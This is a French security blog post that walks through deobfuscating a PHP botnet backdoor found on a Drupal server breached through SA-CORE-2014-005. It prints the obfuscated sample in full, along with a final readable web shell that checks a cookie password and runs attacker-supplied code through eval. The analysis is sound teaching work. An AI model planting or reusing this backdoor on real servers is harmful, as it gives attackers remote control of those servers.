Accueil / Blog / Métier / 2015 / Exercice de lecture de code malveillant

Exercice de lecture de code malveillant

Par Régis Leroy — publié 03/02/2015, édité le 19/02/2016
Voici un extrait de code malveillant retrouvé sur un serveur "piraté". Ce type de code permet à des individus peu scrupuleux de piloter à distance un ensemble de serveurs compromis, ce qu'on appelle un "botnet". Le code est absolument illisible et il peut être amusant d'essayer de retrouver une version lisible du code à partir de sa version obfusquée.

Durant nos audits de sécurité sur des sites web, il peut nous arriver de tomber sur des bouts de code qui manifestement ne proviennent pas de l'application initiale.

Dans le cas présent, le code se situe dans un fichier PHP déposé sur le serveur en servant de la faille d'injection SQL Drupal SA-CORE-2014-005. En face d'une faille de type injection SQL on aurait pu penser que la plupart des assauts subis sur les sites Drupal auraient été destructifs (destruction de la base de donnée), ou auraient consisté à altérer le contenu du CMS pour y héberger du code malveillant et des accès administrateurs. En réalité la plupart des exploitations automatisées de cette faille consistaient à utiliser la table du routeur interne de Drupal pour lui faire exécuter des commandes. Ces dernières permettent ensuite de déposer des fichiers de ce type sur les répertoires non protégés en écriture du serveur.

Voici donc ce code (notez que d'une version à l'autre on ne retrouve quasiment jamais le même code, l'obfuscation varie à chaque dépôt) :

$rkv='7.XT';$ry='m#%4ha"';$bvbzah='!';##GK$Sj:?G^DA6.8Z@W86bF#uh$B
$lpnx^'cdchm';navwkib;$ulw='Sp'^'7E)RJv';vbimh;$qdd='1,WPQ*`8?Q';$vsyzg='$Uf?L]AcYgmO6b,mxcf)R';
$gzhi=0;
$huewws='ZMEf0)M^2/1'^'3#,9CL9';
$jxz='Q*eVyhmp:2mp#Ui..7lj8'^'t@c)&/OHI.czQh4';/*R$%1l_+45,AS69?4k"ekeW5*/$eejhlq='ZPm!JA.'^'7';$sbi='US&Ht@v+/HZ(Xi]JwILp5eNKq`+WMv?=';
$xtxyf='@3P2#bPK_Z4-.V2'^'%A"]Q="./5FYG8U0hei3}';/*$kw;pYWb&14Z1SQpP)kKdy#&gSlp3=%9Zvqavrzsnbix>>$ncqwwqon*/$xann='d`GzLyFIMy;JlZmrAy/@Q]*{@UIe,C^[';$huewws($xtxyf,$gzhi);$xtxyf($gzhi);nukusd;/*$nb;n*Z;el[IR7GcA3=r1I?jRXgXp)XAU^-x:pt^$bv
zmye*/$frfkz='R^21%O?^J?BCG7:';$gcb=$qdd.$bvbzah;
'esf{';##gO9O[|qy&q2na%KQyOOTWU@UbKk9
$nfsu<<'fkgcdxerwoo';'qu3|e|}';udevqh;$gsbny=${'2`j{#(g^2/1'^$ry};
$pdhfoi=$gcb.$rkv^$frfkz;'e!]W}/';$qr=$xann.'&ca5w[{'^$sbi;$bvbzah=$eejhlq.$ulw;/*$ubu;Gpjfxo@]x$6(3urmw&qPkV!/CG&VoE.TX1&He_r,qxwshatcycuu^$fdmktkwq*/##tIM!Ue2PMN.sm*.aw8/69Y^|L$dXd2rC+LPi+
$oexcl='XKwW!5&(KuetU}';$dsi=$gsbny['fhdqqk'];aqxtwx;##Zyl41[g4@YKBAuRc4dSmtUke[KW
$ofwp='q:[H?C:Q&=Ns15`';/*$jpsce;ZI9/7fLu"P!|obcewb>>$rclgkpp*/kuvjjs;'%v|5r';if($qr==$bvbzah($dsi)/*$hcc;ln%9lK%13".4Z+;#3U;pPM._h-8&}+Awhxw|$bwco*/){'`}@s';/*7U6#.%-^Mo-aM_QrcrOXWlwO6hVazUiR?+2+_#Cz/("5tGK:ULI3{fA*//*#]Zh@70NXmZ?.qsQr[
MY`c}WxR#b]x(3M.RqmA#CQnFxkmRqJbp@qn^vpwRef;,:5|GxNcxs9jC%*/'TaiG5V1';$gonn^$scid;$oqsyq='"OX}M)+.RPfoVP:=9bQoig5j.`z4C$l9L@fGt^.JA26#Wz,7(VA&MDSs%#rq|=*P.7?W?4q2%Ei[D,Hpj}bQaD5+|xm2p1[5"LE:SlMgl3)XO]tJf8]S#Nj|`r%"r%+dEDZD2tbPWm?O7(wDT9y
T%HR$8B;Kj3*be7;moL_#`i(H9+&"J6D0|1IhNMrso';$pzsf=$vdk^'G0`Z#?';$gcat='+629.fMNH%SfP}8Mf';$epueb=')s3}"yD`';$kqpwid='dyypk=o*?Uq;kw1DB';$fxmt='x:S"$_k*3|2yC2!X';/*s**M0W4vw+5?,6&ZT%*/$siplr^$mbvti;$obl='Oez"EtE,?+B48x?dI)`2R$V'.'plcdh';#
#oKh:&a1gxadj.BgfKXQO6.|9KUc86lLk.+7x$Wf1`
$qxgj|'tzjixadlsdbg';/*i1C8t$avild='bcwatdfvssqaqtiegrhoefn';'rdgpfvxiqpesf';*/'A*80';/*$uzfw;CANf^N(xnzoss|$eirew*/##PLl^ubx6#Ig4q8:pr-"K4[sy%
$jqv='}DSH';
'|-Li-K';'4=wd,';
/*lzV9N^/(Y|?&R/SH8OfG591l`?z$fgeou='fjddkwrsviclffs';'lpvrfsthsug';*/$buo='6B$v|=9fE*JT8m_}{'.$qwi;
$bzx^'5v3d(Nl%M3w86NYN#P';/*EuVjP`Z[.VO$zszqw='etlrefxkqntklfxdbsormg';'vesouhbbopsqk';*/$fprhqc='(FQY9]G]6mNN3=JI@Ju0/.y/};XR6SNdeiFxT8G&$mQF#%OXF"$H97{Wze;=9nqrHBHuboSFH565%A-R7TBkA`jh37&{5jySW;gghfDnHIF+?0IbG]0#W7BX?4ln7vpF!3*fo]KphMY
&[M(#1M&7J&&AV6HcNll+)rh6M((SB4sjMFV}$W)U^l`HtmV,,'.$kqpwid;$kyxser=$oqsyq.$gcat;$rweau='6jqMZO_9xN9c_7A5';$itu=$lbnnp.'aU/5;+0=w?i';$tiv='PoZ.xCVON[}UG[Yp6T/5".,Sxc';$cyfw='6B$v|=9fE*JT8m_}{'^$flz;$fprhqc.='8E!JO3yIQY3UB9]%,@:Zan=Q.1+Z8
Q)D.gS5+LW;?=ORP&8Y8Ma!pY:X=,9NV?7X0Q?Il71';$ojkj=$fprhqc.'Xzyd^y'^$kyxser.'Y)@=:[D+0*Vcvf9@O/^?IJI%BBOsf3H7KQgjO)4T[Xgv*IK)UdZ+yPz=KMUfr^[9G$W`W=8';'Xzyd^y';$ydl=$ydl.'eG]@5kVj';
$tnb='QDH4I-dPieLI'.'iTRmdnP0e';/*/V/V$"|*u;vLhgS+Mc5|%qfemT=`6$bfu='tfklhmahzqstxtarphp';'tpevrgig';*//*q6{#-FR+@;y:tb.c^d{|wqtK%VIX2*VwYiz[*G#?9L:Y/WHV/S}NBCZqbtcj=;i2|T=E^Ay5vD7%T1IWQ3d[pa2KJnJh8i2Zk?*/'1_f?6lD8%`P`TP';$ish=$ish.',F47
&X6j';
$ctvla='51I@O,}SB"';$ynhf=$pdhfoi($uljrv,$ojkj);$ynhf('$3d4nkJ{,$7R=Sk*=7v(,Fw','8;SeOkthLWGo`&M');}/*hzCVJd)X0Cez`YKWTYo"1LjDnDSN=aTNv|M$"hu[!`dbI-T+E-;zBj9K=*//*/pZL#PiM[hCd$@2*hl;A;*K$uDRAH-2;9cy5&x_{)0;pBBP1*/vdobc;
##@e(paixHKJ8GV9fM/dHKN|k=4qJ8j
$bwyp($nirpo,$oleia);htcr;'|"VYS/2tNl**HtK3+4aemx;@';'S{!r|.&IsGT';$vxlsu('IQ"(xnIr")QfM{FB');##zorocXE-BB"2gDYlO&;s%P:MSCHNPSisV@5In$p
$zwnbp='s%Ob0$qQPFOtvww';$cfdvl('TY[1!Bnmu{8a9oT1','0mm/LzVR1');';5re5mr$5&{fAX';

Analysons ce code

Notez que vous pouvez essayer de retrouver un code utilisable sans lire la solution.

Une des premières choses à faire est de retrouver une indentation lisible. Certaines parties du code sont des blocs de commentaires (/* ... */) et d'autres sont des commentaires de ligne ( # ... ).

Il faut donc reformater le code source. Vous pouvez par exemple utiliser un site comme www.unphp.net ou http://jonhburn2.freehostia.com/decode/.

Vous obtenez normalement ceci :

$rkv='7.XT';
$ry='m#%4ha"';
$bvbzah='!';
##GK$Sj:?G^DA6.8Z@W86bF#uh$B
$lpnx^ 'cdchm';
navwkib;
$ulw='Sp'^ '7E)RJv';
vbimh;
$qdd='1,WPQ*`8?Q';
$vsyzg='$Uf?L]AcYgmO6b,mxcf)R';
$gzhi=0;
$huewws='ZMEf0)M^2/1'^ '3#,9CL9';
$jxz='Q*eVyhmp:2mp#Ui..7lj8'^ 't@c)&/OHI.czQh4';
/*R$%1l_+45,AS69?4k"ekeW5*/
$eejhlq='ZPm!JA.'^ '7';
$sbi='US&Ht@v+/HZ(Xi]JwILp5eNKq`+WMv?=';
$xtxyf='@3P2#bPK_Z4-.V2'^ '%A"]Q="./5FYG8U0hei3}';
/*$kw;pYWb&14Z1SQpP)kKdy#&gSlp3=%9Zvqavrzsnbix>>$ncqwwqon*/
$xann='d`GzLyFIMy;JlZmrAy/@Q]*{@UIe,C^[';
$huewws($xtxyf,$gzhi);
$xtxyf($gzhi);
nukusd;
/*$nb;n*Z;el[IR7GcA3=r1I?jRXgXp)XAU^-x:pt^$bv
zmye*/
$frfkz='R^21%O?^J?BCG7:';
$gcb=$qdd.$bvbzah;
'esf{';
##gO9O[|qy&q2na%KQyOOTWU@UbKk9
$nfsu<<'fkgcdxerwoo';
'qu3|e|}';
udevqh;
$gsbny=$ {
  '2`j{#(g^2/1'^ $ry
};
$pdhfoi=$gcb.$rkv^ $frfkz;
'e!]W}/';
$qr=$xann.'&ca5w[{'^ $sbi;
$bvbzah=$eejhlq.$ulw;
/*$ubu;Gpjfxo@]x$6(3urmw&qPkV!/CG&VoE.TX1&He_r,qxwshatcycuu^$fdmktkwq*/

$oexcl='XKwW!5&(KuetU}';
$dsi=$gsbny['fhdqqk'];
aqxtwx;
##Zyl41[g4@YKBAuRc4dSmtUke[KW
$ofwp='q:[H?C:Q&=Ns15`';
/*$jpsce;ZI9/7fLu"P!|obcewb>>$rclgkpp*/
kuvjjs;
'%v|5r';
if($qr==$bvbzah($dsi)/*$hcc;ln%9lK%13".4Z+;#3U;pPM._h-8&}+Awhxw|$bwco*/) {
  '`}@s';
  /*7U6#.%-^Mo-aM_QrcrOXWlwO6hVazUiR?+2+_#Cz/("5tGK:ULI3{fA*/
  
  'TaiG5V1';
  $gonn^ $scid;
  $oqsyq='"OX}M)+.RPfoVP:=9bQoig5j.`z4C$l9L@fGt^.JA26#Wz,7(VA&MDSs%#rq|=*P.7?W?4q2%Ei[D,Hpj}bQaD5+|xm2p1[5"LE:SlMgl3)XO]tJf8]S#Nj|`r%"r%+dEDZD2tbPWm?O7(wDT9y
T%HR$8B;Kj3*be7;moL_#`i(H9+&"J6D0|1IhNMrso';
  $pzsf=$vdk^ 'G0`Z#?';
  $gcat='+629.fMNH%SfP}8Mf';
  $epueb=')s3}"yD`';
  $kqpwid='dyypk=o*?Uq;kw1DB';
  $fxmt='x:S"$_k*3|2yC2!X';
  /*s**M0W4vw+5?,6&ZT%*/
  $siplr^ $mbvti;
  $obl='Oez"EtE,?+B48x?dI)`2R$V'.'plcdh';
  #
  #oKh:&a1gxadj.BgfKXQO6.|9KUc86lLk.+7x$Wf1`
  $qxgj| 'tzjixadlsdbg';
  /*i1C8t$avild='bcwatdfvssqaqtiegrhoefn';'rdgpfvxiqpesf';*/
  'A*80';
  /*$uzfw;CANf^N(xnzoss|$eirew*/
  
  $jqv='}DSH';
  '|-Li-K';
  '4=wd,';
  /*lzV9N^/(Y|?&R/SH8OfG591l`?z$fgeou='fjddkwrsviclffs';'lpvrfsthsug';*/
  $buo='6B$v|=9fE*JT8m_}{'.$qwi;
  $bzx^ '5v3d(Nl%M3w86NYN#P';
  /*EuVjP`Z[.VO$zszqw='etlrefxkqntklfxdbsormg';'vesouhbbopsqk';*/
  $fprhqc='(FQY9]G]6mNN3=JI@Ju0/.y/};XR6SNdeiFxT8G&$mQF#%OXF"$H97{Wze;=9nqrHBHuboSFH565%A-R7TBkA`jh37&{5jySW;gghfDnHIF+?0IbG]0#W7BX?4ln7vpF!3*fo]KphMY
&[M(#1M&7J&&AV6HcNll+)rh6M((SB4sjMFV}$W)U^l`HtmV,,'.$kqpwid;
  $kyxser=$oqsyq.$gcat;
  $rweau='6jqMZO_9xN9c_7A5';
  $itu=$lbnnp.'aU/5;+0=w?i';
  $tiv='PoZ.xCVON[}UG[Yp6T/5".,Sxc';
  $cyfw='6B$v|=9fE*JT8m_}{'^ $flz;
  $fprhqc.='8E!JO3yIQY3UB9]%,@:Zan=Q.1+Z8
Q)D.gS5+LW;?=ORP&8Y8Ma!pY:X=,9NV?7X0Q?Il71';
  $ojkj=$fprhqc.'Xzyd^y'^ $kyxser.'Y)@=:[D+0*Vcvf9@O/^?IJI%BBOsf3H7KQgjO)4T[Xgv*IK)UdZ+yPz=KMUfr^[9G$W`W=8';
  'Xzyd^y';
  $ydl=$ydl.'eG]@5kVj';
  $tnb='QDH4I-dPieLI'.'iTRmdnP0e';
  /*/V/V$"|*u;vLhgS+Mc5|%qfemT=`6$bfu='tfklhmahzqstxtarphp';'tpevrgig';*/
  
  '1_f?6lD8%`P`TP';
  $ish=$ish.',F47
&X6j';
  $ctvla='51I@O,}SB"';
  $ynhf=$pdhfoi($uljrv,$ojkj);
  $ynhf('$3d4nkJ{,$7R=Sk*=7v(,Fw','8;SeOkthLWGo`&M');
}
/*hzCVJd)X0Cez`YKWTYo"1LjDnDSN=aTNv|M$"hu[!`dbI-T+E-;zBj9K=*/

vdobc;
##@e(paixHKJ8GV9fM/dHKN|k=4qJ8j
$bwyp($nirpo,$oleia);
htcr;
'|"VYS/2tNl**HtK3+4aemx;@';
'S{!r|.&IsGT';
$vxlsu('IQ"(xnIr")QfM{FB');
##zorocXE-BB"2gDYlO&;s%P:MSCHNPSisV@5In$p
$zwnbp='s%Ob0$qQPFOtvww';
$cfdvl('TY[1!Bnmu{8a9oT1','0mm/LzVR1');
';5re5mr$5&{fAX';

En recopiant ce code dans un éditeur de code avec support de la coloration syntaxique il est alors relativement aisé de supprimer les commentaires et d'obtenir une version plus courte (ajoutez <?php au besoin en tête du fichier, il est normalement présent mais je l'ai retiré pour ne pas alerter les filtres de ce CMS) :

$rkv='7.XT';
$ry='m#%4ha"';
$bvbzah='!';
$lpnx^ 'cdchm';
navwkib;
$ulw='Sp'^ '7E)RJv';
vbimh;
$qdd='1,WPQ*`8?Q';
$vsyzg='$Uf?L]AcYgmO6b,mxcf)R';
$gzhi=0;
$huewws='ZMEf0)M^2/1'^ '3#,9CL9';
$jxz='Q*eVyhmp:2mp#Ui..7lj8'^ 't@c)&/OHI.czQh4';
$eejhlq='ZPm!JA.'^ '7';
$sbi='US&Ht@v+/HZ(Xi]JwILp5eNKq`+WMv?=';
$xtxyf='@3P2#bPK_Z4-.V2'^ '%A"]Q="./5FYG8U0hei3}';
$xann='d`GzLyFIMy;JlZmrAy/@Q]*{@UIe,C^[';
$huewws($xtxyf,$gzhi);
$xtxyf($gzhi);
nukusd;
$frfkz='R^21%O?^J?BCG7:';
$gcb=$qdd.$bvbzah;
'esf{';
$nfsu<<'fkgcdxerwoo';
'qu3|e|}';
udevqh;
$gsbny=$ {
'2`j{#(g^2/1'^ $ry
};
$pdhfoi=$gcb.$rkv^ $frfkz;
'e!]W}/';
$qr=$xann.'&ca5w[{'^ $sbi;
$bvbzah=$eejhlq.$ulw;
$oexcl='XKwW!5&(KuetU}';
$dsi=$gsbny['fhdqqk'];
aqxtwx;
$ofwp='q:[H?C:Q&=Ns15`';
kuvjjs;
'%v|5r';
if($qr==$bvbzah($dsi)) {
'`}@s';
'TaiG5V1';
$gonn^ $scid;
$oqsyq='"OX}M)+.RPfoVP:=9bQoig5j.`z4C$l9L@fGt^.JA26#Wz,7(VA&MDSs%#rq|=*P.7?W?4q2%Ei[D,Hpj}bQaD5+|xm2p1[5"LE:SlMgl3)XO]tJf8]S#Nj|`r%"r%+dEDZD2tbPWm?O7(wDT9y
T%HR$8B;Kj3*be7;moL_#`i(H9+&"J6D0|1IhNMrso';
$pzsf=$vdk^ 'G0`Z#?';
$gcat='+629.fMNH%SfP}8Mf';
$epueb=')s3}"yD`';
$kqpwid='dyypk=o*?Uq;kw1DB';
$fxmt='x:S"$_k*3|2yC2!X';
$siplr^ $mbvti;
$obl='Oez"EtE,?+B48x?dI)`2R$V'.'plcdh';
$qxgj| 'tzjixadlsdbg';
'A*80';

$jqv='}DSH';
'|-Li-K';
'4=wd,';
$buo='6B$v|=9fE*JT8m_}{'.$qwi;
$bzx^ '5v3d(Nl%M3w86NYN#P';
$fprhqc='(FQY9]G]6mNN3=JI@Ju0/.y/};XR6SNdeiFxT8G&$mQF#%OXF"$H97{Wze;=9nqrHBHuboSFH565%A-R7TBkA`jh37&{5jySW;gghfDnHIF+?0IbG]0#W7BX?4ln7vpF!3*fo]KphMY
&[M(#1M&7J&&AV6HcNll+)rh6M((SB4sjMFV}$W)U^l`HtmV,,'.$kqpwid;
$kyxser=$oqsyq.$gcat;
$rweau='6jqMZO_9xN9c_7A5';
$itu=$lbnnp.'aU/5;+0=w?i';
$tiv='PoZ.xCVON[}UG[Yp6T/5".,Sxc';
$cyfw='6B$v|=9fE*JT8m_}{'^ $flz;
$fprhqc.='8E!JO3yIQY3UB9]%,@:Zan=Q.1+Z8
Q)D.gS5+LW;?=ORP&8Y8Ma!pY:X=,9NV?7X0Q?Il71';
$ojkj=$fprhqc.'Xzyd^y'^ $kyxser.'Y)@=:[D+0*Vcvf9@O/^?IJI%BBOsf3H7KQgjO)4T[Xgv*IK)UdZ+yPz=KMUfr^[9G$W`W=8';
'Xzyd^y';
$ydl=$ydl.'eG]@5kVj';
$tnb='QDH4I-dPieLI'.'iTRmdnP0e';
'1_f?6lD8%`P`TP';
$ish=$ish.',F47
&X6j';
$ctvla='51I@O,}SB"';
$ynhf=$pdhfoi($uljrv,$ojkj);
$ynhf('$3d4nkJ{,$7R=Sk*=7v(,Fw','8;SeOkthLWGo`&M');
}
vdobc;
$bwyp($nirpo,$oleia);
htcr;
'|"VYS/2tNl**HtK3+4aemx;@';
'S{!r|.&IsGT';
$vxlsu('IQ"(xnIr")QfM{FB');
$zwnbp='s%Ob0$qQPFOtvww';
$cfdvl('TY[1!Bnmu{8a9oT1','0mm/LzVR1');
';5re5mr$5&{fAX';

Ce code semble très bizarre, mais il s'agit de code PHP valide. Si vous ouvrez une session PHP interactive avec "php -a" vous pouvez commencer à taper les commandes une par une pour commencer à apercevoir le fonctionnement du code :

$ php -a
Interactive mode enabled
php > $rkv='7.XT';
php > $ry='m#%4ha"';
php > $bvbzah='!';
php > $lpnx^ 'cdchm';
PHP Notice: Undefined variable: lpnx in php shell code on line 1
php >
php > navwkib;
PHP Notice: Use of undefined constant navwkib - assumed 'navwkib' in php shell code on line 1
php > $ulw='Sp'^ '7E)RJv';
php > navwkib;
PHP Notice: Use of undefined constant navwkib - assumed 'navwkib' in php shell code on line 1
php > var_dump($lpnx);
PHP Notice: Undefined variable: lpnx in php shell code on line 1
NULL
php > var_dump($ulw);
string(2) "d5"

On observe des lignes de code qui génèrent des warnings car elles utilisent des variables inexistantes, la variable lpnx peut être ignorée ainsi que la ligne se servant de cette variable, de même que la ligne navwkib. Le code contient de très nombreuses instructions mortes, qui ne servent à rien. Elles ne sont là que pour rendre plus aléatoire la taille et la structure du code. Nous allons donc devoir retrier un grand nombre de lignes. Mais attention la variable ulw est par contre une vraie variable, qui contient maintenant la chaîne 'd5'. Pour la lisibilité nous pourrions la renommer d5.

Première partie, avant le If

On peut donc par exemple commencer à réécrire le début du code (jusqu'au if) en faisant des rechercher/remplacer sur les variables définies, en les renommant, et en retrouvant quelles sont les chaînes et variables réèllement utilisées.

Sur cette première partie j'obtiens ceci :

$random1='7.XT';
$random2='m#%4ha"';
$string1='!';
$string_d5='d5';
$random3='1,WPQ*`8?Q';
$ini_set='ini_set';
$string_m='m';
$random4='US&Ht@v+/HZ(Xi]JwILp5eNKq`+WMv?=';
$error_reporting='error_reporting';
$random5='d`GzLyFIMy;JlZmrAy/@Q]*{@UIe,C^[';
$ini_set($error_reporting,0);
$error_reporting(0);
$random6='R^21%O?^J?BCG7:';
$random7=$random3.$string1;
$cookies=$ {
'2`j{#(g^2/1'^ $random2 /* => '_COOKIE' */
};
$create_function=$random7.$random1^ $random6; /* => 'create_function' */
$signature = $random5.'&ca5w[{'^ $random4; /* => 13a2890bb1ab430860c0d8d015b2a5af */
$string1=$string_m.$string_d5; # string1 first value overwrite with 'md5'
$my_cookie=$cookies['fhdqqk'];
if($qr==$string1($my_cookie)) {

Ce qui peut encore être écrit de façon plus claire ainsi :

ini_set('error_reporting',0);
error_reporting(0);
// used later
$create_function='create_function'
// Control incoming request has the pass in a cookie
if( '13a2890bb1ab430860c0d8d015b2a5af' == md5($_COOKIE['fhdqqk'])) {

Ce qui commence à être beaucoup plus clair. On remarquera l'utilisation de variables contenant des chaînes qui sont des noms de fonctions (pour ini_set et error_reporting). Le script essaye de réduire les messages d'erreur générés dans les logs avec ses premières instructions, seulement l'obfuscation aléatoire du programme a généré des instructions invalides générant des "Notice" avant même le passage de cette désactivation des erreurs.

Seconde partie : après le if

Cette seconde partie contient un grand nombre d'instructions mortes (tout ce qui est après la cloture du if, par exemple).

Une première passe nous permet d'obtenir :

ini_set('error_reporting',0);
error_reporting(0);
// Control incoming request has the pass in a cookie
if( '13a2890bb1ab430860c0d8d015b2a5af' == md5($_COOKIE['fhdqqk'])) {
$random1='"OX}M)+.RPfoVP:=9bQoig5j.`z4C$l9L@fGt^.JA26#Wz,7(VA&MDSs%#rq|=*P.7?W?4q2%Ei[D,Hpj}bQaD5+|xm2p1[5"LE:SlMgl3)XO]tJf8]S#Nj|`r%"r%+dEDZD2tbPWm?O7(wDT9y
T%HR$8B;Kj3*be7;moL_#`i(H9+&"J6D0|1IhNMrso';
$random2='+629.fMNH%SfP}8Mf';
$random3='dyypk=o*?Uq;kw1DB';
$long_string='(FQY9]G]6mNN3=JI@Ju0/.y/};XR6SNdeiFxT8G&$mQF#%OXF"$H97{Wze;=9nqrHBHuboSFH565%A-R7TBkA`jh37&{5jySW;gghfDnHIF+?0IbG]0#W7BX?4ln7vpF!3*fo]KphMY
&[M(#1M&7J&&AV6HcNll+)rh6M((SB4sjMFV}$W)U^l`HtmV,,'.$random3;
$random4=$random1.$random2;
$long_string.='8E!JO3yIQY3UB9]%,@:Zan=Q.1+Z8
Q)D.gS5+LW;?=ORP&8Y8Ma!pY:X=,9NV?7X0Q?Il71';
$code_string=$long_string.'Xzyd^y'^ $random4.'Y)@=:[D+0*Vcvf9@O/^?IJI%BBOsf3H7KQgjO)4T[Xgv*IK)UdZ+yPz=KMUfr^[9G$W`W=8';
$attack=create_function(NULL,$code_string);
$attack('$3d4nkJ{,$7R=Sk*=7v(,Fw','8;SeOkthLWGo`&M');
}

La variable intéressante semble être code_string

php > var_dump($code_string);
string(278) "
$ttlsd=(!empty($_FILES["fuw"])) ? file_get_contents($_FILES["fuw"]["tmp_name"]) : $_COOKIE["fuw"];
$zospm=(!empty($_FILES["dwp"])) ? fEs:l4,contents($_FILES["dwp"]["tmp_name"]) : $_COOKIE["dwp"];
$alawuh=base64_decode($ttlsd)^99zx`gZ9xm
\JX #py_d_Q"

Nous avons là du code PHP mais il est visiblement cassé (il contient des caractères unicodes très spéciaux à partir de la deuxième ligne, dans la définition de "zospm" et dans la fin de la fonction).

Il faut corriger les chaînes qui contiennent des retours à la ligne (en enlevant ces retours à la ligne).

On obtient alors :

php > var_dump($code_string);
string(277) "
$ttlsd=(!empty($_FILES["fuw"])) ? file_get_contents($_FILES["fuw"]["tmp_name"]) : $_COOKIE["fuw"];
$zospm=(!empty($_FILES["dwp"])) ? file_get_contents($_FILES["dwp"]["tmp_name"]) : $_COOKIE["dwp"];
$alawuh=base64_decode($ttlsd)^base64_decode($zospm);
@eval($alawuh);
"

Le code Final

On obtient :

ini_set('error_reporting',0);
error_reporting(0);
// Control incoming request has the pass in a cookie
if( '13a2890bb1ab430860c0d8d015b2a5af' == md5($_COOKIE['fhdqqk'])) {
// get first part of encoded php code
if (!empty($_FILES["fuw"])) {
$fuw = file_get_contents($_FILES["fuw"]["tmp_name"]);
} else {
$fuw = $_COOKIE["fuw"];
}
// get second part
  if (!empty($_FILES["dwp"])) {
$dpw = file_get_contents($_FILES["dwp"]["tmp_name"]);
} else {
$dpw = $_COOKIE["dwp"];
}
// decode_base64 and XOR of the two parts
$injected_php_code=base64_decode($fuw)^base64_decode($dpw);
// run the attack...
 
@eval($injected_php_code);
} 

On obtient quelque chose de vraiment plus clair. Le pilotage de ce script demande un mot de passe et nécessite de passer le code à éxécuter en deux parties à xorer ensemble, ces parties sont encodées en base64 et transitent soit via des cookies, soit via des uploads de fichiers temporaires.

La plupart du temps le code éxecuté contiendra les éléments nécessaire à l'infection en série de nouveaux serveurs, en se basant sur les vulnérabilités du moment, de manière à faire augmenter la taille du botnet. Mais ce code pourrait tout aussi bien servir à infecter plus en profondeur le serveur, surtout sur les serveurs qui ne règlent pas les droits en écriture de PHP et qui ne limitent pas la zone d'action de PHP avec open_basedir.

Enfin la dernière utilisation de ce code est son utilité finale, celle qui se vend, servir d'agent d'envoi de spam ou d'agent d'envoi de requêtes HTTP dans une attaque de type DDOS.

Pourquoi cette obfuscation?

Pourquoi autant de circonvolutions dans ce code? Le code lui-même est obscurci pour éviter d'être détecté par des outils recherchant le code malveillant (eval par exemple). Seul le caractère "^" utilisé dans les XOR peut vous permettre de retrouver ces fichiers dans des sources PHP éparses (sachant que ce caractère est aussi utilisé dans des expressions régulières dans du code PHP valide).

Le script lui-même dépend de l'utilisation d'un mot de passe, ceci pour éviter que la backdoor installée soit utilisée par d'autres botnets.

Enfin le code transmis à la backdoor n'est pas seulement encodé en base64 mais aussi transmis en deux parties qui doivent être 'xorées', ceci afin d'éviter la détection par des firewalls avancés capables de détecter du code encodé en base64 dans les transmissions. 

Pour aller plus loin

Cet exercice vous a plu ? Découvrez les slides de la présentation du petit déjeuner "Les bases de la sécurité du développement Web" et consultez le plan de notre formation sur la sécurité web.

ABONNEZ-VOUS À LA NEWSLETTER !
Voir aussi
Retour sur le PHP Tour 2017 Retour sur le PHP Tour 2017 17/07/2017

Le PHP Tour se déroulait à Nantes cette année, à deux pas de nos locaux, c'était l'occasion ...

Développer avec Twig dans Drupal 7 Développer avec Twig dans Drupal 7 25/06/2015

Utiliser Twig dans Drupal 7, c'est possible ! Découvrez comment prendre de l'avance sur Drupal 8, ...

Comment mettre en place un site Drupal "Headless" ? Comment mettre en place un site Drupal "Headless" ? 14/06/2017

Les différents modules et techniques pour mettre en place une couche de services web sur une base ...

Migrer de SPIP à Drupal Migrer de SPIP à Drupal 29/05/2017

Comment imiter le comportement de SPIP et découvrir Drupal pour les amateurs de ce CMS.

Bien débuter avec les transactions SQL Bien débuter avec les transactions SQL 09/12/2015

BEGIN et COMMIT vous connaissez, mais ACID ou LOCK ça vous dit quelque chose ?